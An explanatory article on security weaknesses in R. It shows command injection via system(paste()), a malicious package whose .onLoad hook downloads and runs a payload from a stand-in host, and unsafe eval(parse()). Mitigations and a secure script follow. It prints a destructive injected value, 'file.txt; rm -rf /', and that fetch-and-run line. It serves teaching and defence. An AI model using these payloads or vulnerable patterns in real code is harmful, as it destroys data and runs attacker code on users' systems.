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How cybersecurity breaches could infect the R programming language.

Cybersecurity attackers can compromise R programming through malicious package installations, R script injection, insecure system calls, and data poisoning. Below is an example of how an attacker could exploit an insecure R script using command injection.

Example: Command Injection in R

A poorly written R script allows users to input a filename, which is then passed to a system command without sanitization.

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Vulnerable R Script (unsafe_script.R)

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   r

   cat("Enter the filename to read:\n")

   filename <- readline()

 

   # Execute system command to read the file

   system(paste("cat", filename))

How the Attack Works

Step 1: Malicious Input

An attacker could enter:

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     file.txt; rm -rf /

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This executes:

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     sh

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     cat file.txt; rm -rf /

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The rm -rf / command deletes all files on the system.

Other Ways R Can Be Exploited

  1. Malicious R Packages

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  • Attackers can create a malicious R package that executes unauthorized code when installed.

 

     r

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     install.packages("maliciouspackage")

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​   2. The package might contain:

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      r

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     .onLoad <- function(libname, pkgname) { system("wget http://malicious-site.com/payload.sh -O /tmp/payload.sh && bash /tmp/payload.sh")

      }

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   3. Exploiting Insecure System Calls

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  • Using system() or shell() without sanitizing inputs.

      r

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      system(paste("rm -rf", user_input))

 

 

   4. Data Poisoning

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  •  Attackers inject malicious data into training datasets, leading to model manipulation.

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      r

​​​

      poisoned_data <- read.csv("malicious_data.csv")

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   4. R Shiny Web App Exploits

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  • If an R Shiny app allows user input in eval(), attackers can execute arbitrary code.     

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​      eval(parse(text = user_input))

   

Mitigation Strategies

  1. Sanitize Inputs

           r

          if (!grepl("^[a-zA-Z0-9._-]+$", filename)) {
              stop("Invalid filename")
           }

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    2. Use Secure System Calls

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           r

           system2("cat", filename)


    3. Avoid eval(parse()) with User Input

 

​        * Replace with safer alternatives like match.fun().

 

    4. Validate and Verify Packages

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           r

           install.packages("ggplot2", repos="https://cran.r-project.org")

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    5. Limit File Access

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           r

           setwd("/safe_directory")

Secure Version of an R Script

   cat("Enter the filename to read:\n")
   filename <- readline()

​

   # Validate input
    if (!grepl("^[a-zA-Z0-9._-]+$", filename)) {
    stop("Invalid filename")
    }

​

   # Execute command safely
    system2("cat", filename)
 

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